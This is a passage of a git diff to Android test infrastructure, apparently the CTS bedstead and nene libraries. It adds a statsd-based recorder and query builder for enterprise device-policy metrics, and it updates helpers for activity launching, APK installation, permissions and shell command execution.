+ *     try (EnterpriseMetricsRecorder r = EnterpriseMetricsRecorder.create() {
+ *         // Call code which generates metrics
+ *
+ *         assertThat(r.query().poll()).isNotNull();
+ *     }
+ *
+ * }</pre>
+ */
+public class EnterpriseMetricsRecorder implements AutoCloseable, Queryable {
+
+    /** Create a {@link EnterpriseMetricsRecorder} and begin listening for metrics. */
+    public static EnterpriseMetricsRecorder create() {
+        EnterpriseMetricsRecorder r = new EnterpriseMetricsRecorder();
+        r.start(DEVICE_POLICY_EVENT_FIELD_NUMBER);
+
+        return r;
+    }
+
+    private static final long CONFIG_ID = "cts_config".hashCode();
+
+    private final List<EnterpriseMetricInfo> mData = new ArrayList<>();
+
+    private EnterpriseMetricsRecorder() {
+
+    }
+
+    private void start(int atomTag) {
+        cleanLogs();
+        createAndUploadConfig(atomTag);
+    }
+
+    /**
+     * Begin querying the recorded metrics.
+     */
+    public MetricQueryBuilder query() {
+        return new MetricQueryBuilder(this);
+    }
+
+    List<EnterpriseMetricInfo> fetchLatestData() {
+        mData.addAll(getEventMetricDataList(getReportList()));
+        return mData;
+    }
+
+    @Override
+    public void close() {
+        cleanLogs();
+    }
+
+    private void createAndUploadConfig(int atomTag) {
+        StatsdConfig conf = new StatsdConfig();
+        conf.id = CONFIG_ID;
+        conf.allowedLogSource = new String[]{"AID_SYSTEM"};
+
+        addAtomEvent(conf, atomTag);
+        uploadConfig(conf);
+    }
+
+    private void addAtomEvent(StatsdConfig conf, int atomTag) {
+        addAtomEvent(conf, atomTag, new ArrayList<>());
+    }
+
+    private void addAtomEvent(StatsdConfig conf, int atomTag,
+            List<FieldValueMatcher> fvms) {
+        String atomName = "Atom" + System.nanoTime();
+        String eventName = "Event" + System.nanoTime();
+
+        SimpleAtomMatcher sam = new SimpleAtomMatcher();
+        sam.atomId = atomTag;
+        if (fvms != null) {
+            sam.fieldValueMatcher = fvms.toArray(new FieldValueMatcher[]{});
+        }
+
+        AtomMatcher atomMatcher = new AtomMatcher();
+        atomMatcher.id = atomName.hashCode();
+        atomMatcher.setSimpleAtomMatcher(sam);
+
+        conf.atomMatcher = new AtomMatcher[]{
+                atomMatcher
+        };
+
+        EventMetric eventMetric = new EventMetric();
+        eventMetric.id = eventName.hashCode();
+        eventMetric.what = atomName.hashCode();
+
+        conf.eventMetric = new EventMetric[]{
+                eventMetric
+        };
+    }
+
+    private void uploadConfig(StatsdConfig config) {
+        byte[] bytes = new byte[config.getSerializedSize()];
+        CodedOutputByteBufferNano b = CodedOutputByteBufferNano.newInstance(bytes);
+        try {
+            ShellCommand.builder("cmd stats config update")
+                    .addOperand(CONFIG_ID)
+                    .writeToStdIn(MessageNano.toByteArray(config))
+                    .validate(String::isEmpty)
+                    .execute();
+        } catch (AdbException e) {
+            throw new NeneException("Error uploading config", e);
+        }
+    }
+
+    private void cleanLogs() {
+        removeConfig(CONFIG_ID);
+        getReportList(); // Clears data.
+    }
+
+    private void removeConfig(long configId) {
+        try {
+            ShellCommand.builder("cmd stats config remove").addOperand(configId)
+                    .validate(String::isEmpty).execute();
+        } catch (AdbException e) {
+            throw new NeneException("Error removing config " + configId, e);
+        }
+    }
+
+    private ConfigMetricsReportList getReportList() {
+        try {
+            byte[] bytes = ShellCommand.builder("cmd stats dump-report")
+                    .addOperand(CONFIG_ID)
+                    .addOperand("--include_current_bucket")
+                    .addOperand("--proto")
+                    .forBytes()
+                    .execute();
+
+            return ConfigMetricsReportList.parseFrom(bytes);
+        } catch (AdbException e) {
+            throw new NeneException("Error getting stat report list", e);
+        } catch (InvalidProtocolBufferNanoException e) {
+            throw new NeneException("Invalid proto", e);
+        }
+    }
+
+    private List<EnterpriseMetricInfo> getEventMetricDataList(
+            ConfigMetricsReportList reportList) {
+        return Arrays.stream(reportList.reports)
+                .flatMap(s -> Arrays.stream(s.metrics.clone()))
+                .filter(s -> s.getEventMetrics() != null && s.getEventMetrics().data != null)
+                .flatMap(statsLogReport -> Arrays.stream(
+                        statsLogReport.getEventMetrics().data.clone()))
+                .flatMap(eventMetricData -> Arrays.stream(
+                        backfillAggregatedAtomsinEventMetric(eventMetricData)))
+                .sorted(Comparator.comparing(e -> e.elapsedTimestampNanos))
+                .map(e -> e.atom)
+                .filter((Objects::nonNull))
+                .map(AtomsProto.Atom::getDevicePolicyEvent)
+                .filter((Objects::nonNull))
+                .map(EnterpriseMetricInfo::new)
+                .collect(Collectors.toList());
+    }
+
+    private StatsLog.EventMetricData[] backfillAggregatedAtomsinEventMetric(
+            StatsLog.EventMetricData metricData) {
+        if (metricData.aggregatedAtomInfo == null) {
+            return new StatsLog.EventMetricData[]{metricData};
+        }
+        List<StatsLog.EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.aggregatedAtomInfo;
+        for (long timestamp : atomInfo.elapsedTimestampNanos) {
+            StatsLog.EventMetricData newMetricData = new StatsLog.EventMetricData();
+            newMetricData.atom = atomInfo.atom;
+            newMetricData.elapsedTimestampNanos = timestamp;
+            data.add(newMetricData);
+        }
+        return data.toArray(new StatsLog.EventMetricData[0]);
+    }
+}
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQuery.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQuery.java
new file mode 100644
index 0000000..31ad3cb
--- /dev/null
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQuery.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.metricsrecorder;
+
+import com.android.queryable.Queryable;
+import com.android.queryable.queries.BooleanQuery;
+import com.android.queryable.queries.Query;
+import com.android.queryable.queries.StringQuery;
+
+public interface MetricQuery<E extends Queryable> extends Query<EnterpriseMetricInfo> {
+    StringQuery<E> type();
+    StringQuery<E> adminPackageName();
+    BooleanQuery<E> Boolean();
+    StringQuery<E> strings();
+}
diff --git a/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQueryBuilder.java b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQueryBuilder.java
new file mode 100644
index 0000000..0e932b4
--- /dev/null
+++ b/common/device-side/bedstead/metricsrecorder/src/main/java/com/android/bedstead/metricsrecorder/MetricQueryBuilder.java
@@ -0,0 +1,135 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.metricsrecorder;
+
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.queryable.Queryable;
+import com.android.queryable.queries.BooleanQuery;
+import com.android.queryable.queries.BooleanQueryHelper;
+import com.android.queryable.queries.IntegerQuery;
+import com.android.queryable.queries.IntegerQueryHelper;
+import com.android.queryable.queries.ListQueryHelper;
+import com.android.queryable.queries.StringQuery;
+import com.android.queryable.queries.StringQueryHelper;
+
+import java.time.Duration;
+import java.time.Instant;
+
+public class MetricQueryBuilder implements Queryable {
+    private final EnterpriseMetricsRecorder mRecorder;
+    private boolean hasStartedFetchingResults = false;
+    private int mSkippedNextResults = 0;
+    private int mSkippedPollResults = 0;
+
+    private final IntegerQueryHelper<MetricQueryBuilder> mTypeQuery =
+            new IntegerQueryHelper<>(this);
+    private final StringQueryHelper<MetricQueryBuilder> mAdminPackageNameQuery =
+            new StringQueryHelper<>(this);
+    private final BooleanQueryHelper<MetricQueryBuilder> mBooleanQuery =
+            new BooleanQueryHelper<>(this);
+    private final ListQueryHelper<MetricQueryBuilder, String, StringQuery<?>> mStringsQuery =
+            new ListQueryHelper<>(this);
+
+    MetricQueryBuilder(EnterpriseMetricsRecorder recorder) {
+        mRecorder = recorder;
+    }
+
+    public IntegerQuery<MetricQueryBuilder> whereType() {
+        if (hasStartedFetchingResults) {
+            throw new IllegalStateException("Cannot modify query after fetching results");
+        }
+        return mTypeQuery;
+    }
+
+    public StringQuery<MetricQueryBuilder> whereAdminPackageName() {
+        if (hasStartedFetchingResults) {
+            throw new IllegalStateException("Cannot modify query after fetching results");
+        }
+        return mAdminPackageNameQuery;
+    }
+
+    public BooleanQuery<MetricQueryBuilder> whereBoolean() {
+        if (hasStartedFetchingResults) {
+            throw new IllegalStateException("Cannot modify query after fetching results");
+        }
+        return mBooleanQuery;
+    }
+
+    public ListQueryHelper<MetricQueryBuilder, String, StringQuery<?>> whereStrings() {
+        if (hasStartedFetchingResults) {
+            throw new IllegalStateException("Cannot modify query after fetching results");
+        }
+        return mStringsQuery;
+    }
+
+    public EnterpriseMetricInfo get() {
+        return get(/* skipResults= */ 0);
+    }
+
+    private EnterpriseMetricInfo get(int skipResults) {
+        hasStartedFetchingResults = true;
+        for (EnterpriseMetricInfo m : mRecorder.fetchLatestData()) {
+            if (matches(m)) {
+                return m;
+            }
+        }
+
+        return null;
+    }
+
+    public EnterpriseMetricInfo next() {
+        hasStartedFetchingResults = true;
+
+        EnterpriseMetricInfo nextResult = get(mSkippedNextResults);
+        if (nextResult != null) {
+            mSkippedNextResults++;
+        }
+
+        return nextResult;
+    }
+
+    public EnterpriseMetricInfo poll() {
+        return poll(Duration.ofSeconds(30));
+    }
+
+    public EnterpriseMetricInfo poll(Duration timeout) {
+        hasStartedFetchingResults = true;
+        Instant endTime = Instant.now().plus(timeout);
+
+        while (Instant.now().isBefore(endTime)) {
+            EnterpriseMetricInfo nextResult = get(mSkippedPollResults);
+            if (nextResult != null) {
+                mSkippedPollResults++;
+                return nextResult;
+            }
+
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException e) {
+                throw new NeneException("Interrupted while polling", e);
+            }
+        }
+
+        return null;
+    }
+
+    private boolean matches(EnterpriseMetricInfo metric) {
+        return mAdminPackageNameQuery.matches(metric.adminPackageName())
+                && mBooleanQuery.matches(metric.Boolean())
+                && mStringsQuery.matches(metric.strings());
+    }
+}
diff --git a/common/device-side/bedstead/nene/Android.bp b/common/device-side/bedstead/nene/Android.bp
index 53c9637..f329665 100644
--- a/common/device-side/bedstead/nene/Android.bp
+++ b/common/device-side/bedstead/nene/Android.bp
@@ -10,7 +10,8 @@
     ],
     manifest: "src/main/AndroidManifest.xml",
     static_libs: [
-        "compatibility-device-util-axt"
+        "compatibility-device-util-axt",
+        "guava"
     ],
     min_sdk_version: "27"
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java
index 7c37f99..07cadf2 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activity.java
@@ -25,6 +25,8 @@
 import com.android.bedstead.nene.packages.ComponentReference;
 import com.android.compatibility.common.util.PollingCheck;
 
+import java.util.Objects;
+
 /**
  * A wrapper around a specific Activity instance.
  */
@@ -81,14 +83,22 @@
     /**
      * Calls {@link android.app.Activity#startActivity(Intent)} and blocks until the activity has
      * started.
+     *
+     * <p>If a specific component is specified, this will block until that component is in the
+     * foreground. Otherwise, it will block only until the foreground activity has changed.
      */
     @Experimental
     public void startActivity(Intent intent) {
-        mActivity.startActivity(intent);
-        ComponentReference component = new ComponentReference(mTestApis, intent.getComponent());
-
-        // TODO(scottjonathan): What if the activity can't start - or the intent isn't valid/etc.
-        PollingCheck.waitFor(() -> component.equals(mTestApis.activities().foregroundActivity()));
+        if (intent.getComponent() == null) {
+            ComponentReference startActivity = mTestApis.activities().foregroundActivity();
+            mActivity.startActivity(intent);
+            PollingCheck.waitFor(() -> !Objects.equals(startActivity,
+                    mTestApis.activities().foregroundActivity()));
+        } else {
+            mActivity.startActivity(intent);
+            ComponentReference component = new ComponentReference(mTestApis, intent.getComponent());
+            PollingCheck.waitFor(() -> component.equals(mTestApis.activities().foregroundActivity()));
+        }
     }
 
     /**
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
index da8638a..becd320 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/context/Context.java
@@ -29,7 +29,9 @@
 
     private static final String ANDROID_PACKAGE = "android";
 
-    private static final android.content.Context sContext =
+    private static final android.content.Context sInstrumentedContext =
+            InstrumentationRegistry.getInstrumentation().getTargetContext();
+    private static final android.content.Context sInstrumentationContext =
             InstrumentationRegistry.getInstrumentation().getContext();
     private final TestApis mTestApis;
 
@@ -41,14 +43,28 @@
      * Get the {@link android.content.Context} for the instrumented test app.
      */
     public android.content.Context instrumentedContext() {
-        return sContext;
+        return sInstrumentedContext;
     }
 
     /**
      * Get the {@link android.content.Context} for the instrumented test app in another user.
      */
     public android.content.Context instrumentedContextAsUser(UserReference user) {
-        return sContext.createContextAsUser(user.userHandle(), /* flags= */ 0);
+        return sInstrumentedContext.createContextAsUser(user.userHandle(), /* flags= */ 0);
+    }
+
+    /**
+     * Get the {@link android.content.Context} for the instrumentation app.
+     */
+    public android.content.Context instrumentationContext() {
+        return sInstrumentationContext;
+    }
+
+    /**
+     * Get the {@link android.content.Context} for the instrumentation app in another user.
+     */
+    public android.content.Context instrumentationContextAsUser(UserReference user) {
+        return sInstrumentationContext.createContextAsUser(user.userHandle(), /* flags= */ 0);
     }
 
     /**
@@ -56,7 +72,7 @@
      */
     public android.content.Context androidContextAsUser(UserReference user) {
         try {
-            return sContext.createPackageContextAsUser(
+            return sInstrumentedContext.createPackageContextAsUser(
                     ANDROID_PACKAGE, /* flags= */ 0, user.userHandle());
         } catch (PackageManager.NameNotFoundException e) {
             throw new NeneException("Could not find android installed in user " + user, e);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
index 24d15d1..90a9dc3 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/DevicePolicy.java
@@ -31,6 +31,7 @@
 import android.content.pm.ResolveInfo;
 import android.os.Build;
 import android.provider.Settings;
+import android.util.Log;
 
 import androidx.annotation.Nullable;
 
@@ -61,6 +62,8 @@
  */
 public final class DevicePolicy {
 
+    private static final String LOG_TAG = "DevicePolicy";
+
     private static final String USER_SETUP_COMPLETE_KEY = "user_setup_complete";
 
     private final TestApis mTestApis;
@@ -329,16 +332,27 @@
     }
 
     private void fillCache() {
-        try {
-            // TODO: Replace use of adb on supported versions of Android
-            String devicePolicyDumpsysOutput =
-                    ShellCommand.builder("dumpsys device_policy").execute();
-            AdbDevicePolicyParser.ParseResult result = mParser.parse(devicePolicyDumpsysOutput);
+        int retries = 5;
+        while (true) {
+            try {
+                // TODO: Replace use of adb on supported versions of Android
+                String devicePolicyDumpsysOutput =
+                        ShellCommand.builder("dumpsys device_policy").execute();
+                AdbDevicePolicyParser.ParseResult result = mParser.parse(devicePolicyDumpsysOutput);
 
-            mCachedDeviceOwner = result.mDeviceOwner;
-            mCachedProfileOwners = result.mProfileOwners;
-        } catch (AdbException | AdbParseException e) {
-            throw new RuntimeException("Error filling cache", e);
+                mCachedDeviceOwner = result.mDeviceOwner;
+                mCachedProfileOwners = result.mProfileOwners;
+                return;
+            } catch (AdbParseException e) {
+                if (e.adbOutput().contains("DUMP TIMEOUT") && retries-- > 0) {
+                    // Sometimes this call times out - just retry
+                    Log.e(LOG_TAG, "Dump timeout when filling cache, retrying", e);
+                } else {
+                    throw new NeneException("Error filling cache", e);
+                }
+            } catch (AdbException e) {
+                throw new NeneException("Error filling cache", e);
+            }
         }
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
index 77b5dbb..ca3ef6d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/exceptions/AdbException.java
@@ -63,6 +63,10 @@
         return mOutput;
     }
 
+    public String error() {
+        return mErr;
+    }
+
     @Override
     public String toString() {
         StringBuilder stringBuilder = new StringBuilder(super.toString());
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
index 3b6ec83..0deddc5 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -69,7 +69,8 @@
                 mRequestedPermissions.addAll(Arrays.asList(packageInfo.requestedPermissions));
             }
         } catch (PackageManager.NameNotFoundException e) {
-            Log.d(LOG_TAG, "NameNotFound when resolving package", e);
+            // This happens frequently and is not useful to log
+            // TODO(scottjonathan): Figure out why we get this for packages which should exist
         }
     }
 
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index fc579df..af75f79 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -45,6 +45,8 @@
 import com.android.bedstead.nene.utils.Versions;
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
+import com.google.common.io.Files;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
@@ -212,14 +214,14 @@
                     + "(Trying to install into user " + resolvedUser + ")");
         }
 
-        BlockingBroadcastReceiver broadcastReceiver = BlockingBroadcastReceiver.create(
-                mTestApis.context().instrumentedContext(), mPackageAddedIntentFilter);
-        broadcastReceiver.register();
+        BlockingBroadcastReceiver broadcastReceiver =
+                registerPackageInstalledBroadcastReceiver(user);
 
         try {
             // Expected output "Success"
             ShellCommand.builderForUser(user, "pm install")
                     .addOperand("-r") // Reinstall automatically
+                    .addOperand("-t") // Allow test-only install
                     .addOperand(apkFile.getAbsolutePath())
                     .validate(ShellCommandUtils::startsWithSuccess)
                     .execute();
@@ -242,6 +244,7 @@
         // TODO(scottjonathan): Could this be flaky? what if something is added elsewhere at
         //  the same time...
         String installedPackageName = intent.getDataString().split(":", 2)[1];
+
         return mTestApis.packages().find(installedPackageName);
     }
 
@@ -268,9 +271,35 @@
             throw new NullPointerException();
         }
 
-        //        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
-        return installPreS(user, apkFile);
-//        }
+        if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
+            return installPreS(user, apkFile);
+        }
+
+        User resolvedUser = user.resolve();
+
+        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
+            throw new NeneException("Packages can not be installed in non-started users "
+                    + "(Trying to install into user " + resolvedUser + ")");
+        }
+
+        BlockingBroadcastReceiver broadcastReceiver =
+                registerPackageInstalledBroadcastReceiver(user);
+        try {
+            // Expected output "Success"
+            ShellCommand.builderForUser(user, "pm install")
+                    .addOption("-S", apkFile.length)
+                    .addOperand("-r")
+                    .addOperand("-t")
+                    .writeToStdIn(apkFile)
+                    .validate(ShellCommandUtils::startsWithSuccess)
+                    .execute();
+
+            return waitForPackageAddedBroadcast(broadcastReceiver);
+        } catch (AdbException e) {
+            throw new NeneException("Could not install from bytes for user " + user, e);
+        } finally {
+            broadcastReceiver.unregisterQuietly();
+        }
 
         // TODO(scottjonathan): Re-enable this after we have a TestAPI which allows us to install
         //   testOnly apks
@@ -328,30 +357,20 @@
     }
 
     private PackageReference installPreS(UserReference user, byte[] apkFile) {
-        User resolvedUser = user.resolve();
-
-        if (resolvedUser == null || resolvedUser.state() != RUNNING_UNLOCKED) {
-            throw new NeneException("Packages can not be installed in non-started users "
-                    + "(Trying to install into user " + resolvedUser + ")");
-        }
-
-        BlockingBroadcastReceiver broadcastReceiver =
-                registerPackageInstalledBroadcastReceiver(user);
+        // Prior to S we cannot pass bytes to stdin so we write it to a temp file first
+        File outputDir = mTestApis.context().instrumentedContext().getCacheDir();
+        File outputFile = null;
         try {
-            // Expected output "Success"
-            ShellCommand.builderForUser(user, "pm install")
-                    .addOption("-S", apkFile.length)
-                    .addOperand("-r")
-                    .addOperand("-t")
-                    .writeToStdIn(apkFile)
-                    .validate(ShellCommandUtils::startsWithSuccess)
-                    .execute();
-
-            return waitForPackageAddedBroadcast(broadcastReceiver);
-        } catch (AdbException e) {
-            throw new NeneException("Could not install from bytes for user " + user, e);
+            outputFile = File.createTempFile("tmp", ".apk", outputDir);
+            Files.write(apkFile, outputFile);
+            outputFile.setReadable(true, false);
+            return install(user, outputFile);
+        } catch (IOException e) {
+            throw new NeneException("Error when writing bytes to temp file", e);
         } finally {
-            broadcastReceiver.unregisterQuietly();
+            if (outputFile != null) {
+                outputFile.delete();
+            }
         }
     }
 
@@ -402,9 +421,15 @@
                 mTestApis.context().androidContextAsUser(user),
                 mPackageAddedIntentFilter);
 
-        try (PermissionContext p =
-                    mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+        if (user.equals(mTestApis.users().instrumented())) {
             broadcastReceiver.register();
+        } else {
+            // TODO(scottjonathan): If this is cross-user then it needs _FULL, but older versions
+            //  cannot get full - so we'll need to poll
+            try (PermissionContext p =
+                         mTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
+                broadcastReceiver.register();
+            }
         }
 
         return broadcastReceiver;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
index 1ede7d8..1aedf44 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.nene.permissions;
 
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
 import android.app.UiAutomation;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -41,8 +43,9 @@
 
     public static final String MANAGE_PROFILE_AND_DEVICE_OWNERS =
             "android.permission.MANAGE_PROFILE_AND_DEVICE_OWNERS";
-
     public static final String MANAGE_DEVICE_ADMINS = "android.permission.MANAGE_DEVICE_ADMINS";
+    public static final String NOTIFY_PENDING_SYSTEM_UPDATE =
+            "android.permission.NOTIFY_PENDING_SYSTEM_UPDATE";
 
     private static final String LOG_TAG = "Permissions";
 
@@ -163,7 +166,11 @@
             Log.d(LOG_TAG , "Trying to grant " + permission);
             if (resolvedInstrumentedPackage.grantedPermissions(sUser).contains(permission)) {
                 // Already granted, can skip
-                Log.d(LOG_TAG, permission + " already granted");
+                Log.d(LOG_TAG, permission + " already granted at runtime");
+            } else if (resolvedInstrumentedPackage.requestedPermissions().contains(permission)
+                    && sContext.checkSelfPermission(permission) == PERMISSION_GRANTED) {
+                // Already granted, can skip
+                Log.d(LOG_TAG, permission + " already granted from manifest");
             } else if (SUPPORTS_ADOPT_SHELL_PERMISSIONS
                     && sShellPackage.requestedPermissions().contains(permission)) {
                 adoptedShellPermissions.add(permission);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
index 0c167e2..37690e8 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
@@ -77,6 +77,8 @@
      * {@link NeneException} will be thrown.
      */
     public final void remove() {
+        // TODO(scottjonathan): There's a potential issue here as when the user is marked as
+        //  "is removing" the DPC still can't be uninstalled because it's set as the profile owner.
         try {
             // Expected success string is "Success: removed user"
             ShellCommand.builder("pm remove-user")
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
index a3d9255..2f73f5c 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
@@ -218,9 +218,33 @@
             return execute();
         }
 
+        public BytesBuilder forBytes() {
+            if (mOutputSuccessChecker != null) {
+                throw new IllegalStateException("Cannot call .forBytes after .validate");
+            }
+
+            return new BytesBuilder(this);
+        }
+
         @Override
         public String toString() {
             return "ShellCommand$Builder{cmd=" + build() + "}";
         }
     }
+
+    public static final class BytesBuilder {
+
+        private final Builder mBuilder;
+
+        private BytesBuilder(Builder builder) {
+            mBuilder = builder;
+        }
+
+        /** See {@link ShellCommandUtils#executeCommandForBytes(java.lang.String)}. */
+        public byte[] execute() throws AdbException {
+            return ShellCommandUtils.executeCommandForBytes(
+                    mBuilder.build(),
+                    mBuilder.mStdInBytes);
+        }
+    }
 }
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
index 78cb7b5..e61fed0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommandUtils.java
@@ -83,7 +83,10 @@
         logCommand(command, allowEmptyOutput, stdInBytes);
 
         if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
-            return executeCommandPreS(command, allowEmptyOutput, stdInBytes);
+            if (stdInBytes != null && stdInBytes.length > 0) {
+                throw new IllegalStateException("Cannot write to stdIn prior to S");
+            }
+            return executeCommandPreS(command, allowEmptyOutput);
         }
 
         // TODO(scottjonathan): Add argument to force errors to stderr
@@ -96,8 +99,8 @@
 
             writeStdInAndClose(fdIn, stdInBytes);
 
-            String out = readStreamAndClose(fdOut);
-            String err = readStreamAndClose(fdErr);
+            String out = new String(readStreamAndClose(fdOut));
+            String err = new String(readStreamAndClose(fdErr));
 
             if (!err.isEmpty()) {
                 throw new AdbException("Error executing command", command, out, err);
@@ -113,6 +116,44 @@
         }
     }
 
+    static byte[] executeCommandForBytes(String command) throws AdbException {
+        return executeCommandForBytes(command, /* stdInBytes= */ null);
+    }
+
+    static byte[] executeCommandForBytes(String command, byte[] stdInBytes) throws AdbException {
+        logCommand(command, /* allowEmptyOutput= */ false, stdInBytes);
+
+        if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+            if (stdInBytes != null && stdInBytes.length > 0) {
+                throw new IllegalStateException("Cannot write to stdIn prior to S");
+            }
+
+            return executeCommandForBytesPreS(command);
+        }
+
+        // TODO(scottjonathan): Add argument to force errors to stderr
+        try {
+
+            ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRwe(command);
+            ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
+            ParcelFileDescriptor fdErr = fds[ERR_DESCRIPTOR_INDEX];
+
+            writeStdInAndClose(fdIn, stdInBytes);
+
+            byte[] out = readStreamAndClose(fdOut);
+            String err = new String(readStreamAndClose(fdErr));
+
+            if (!err.isEmpty()) {
+                throw new AdbException("Error executing command", command, err);
+            }
+
+            return out;
+        } catch (IOException e) {
+            throw new AdbException("Error executing command", command, e);
+        }
+    }
+
     private static void logCommand(String command, boolean allowEmptyOutput, byte[] stdInBytes) {
         if (!SHOULD_LOG) {
             return;
@@ -176,14 +217,10 @@
     }
 
     private static String executeCommandPreS(
-            String command, boolean allowEmptyOutput, byte[] stdInBytes) throws AdbException {
-        ParcelFileDescriptor[] fds = uiAutomation().executeShellCommandRw(command);
-        ParcelFileDescriptor fdOut = fds[OUT_DESCRIPTOR_INDEX];
-        ParcelFileDescriptor fdIn = fds[IN_DESCRIPTOR_INDEX];
+            String command, boolean allowEmptyOutput) throws AdbException {
+        ParcelFileDescriptor fdOut = uiAutomation().executeShellCommand(command);
 
         try {
-            writeStdInAndClose(fdIn, stdInBytes);
-
             try (FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(fdOut)) {
                 String out = new String(FileUtils.readInputStreamFully(fis));
 
@@ -205,6 +242,19 @@
         }
     }
 
+    private static byte[] executeCommandForBytesPreS(String command) throws AdbException {
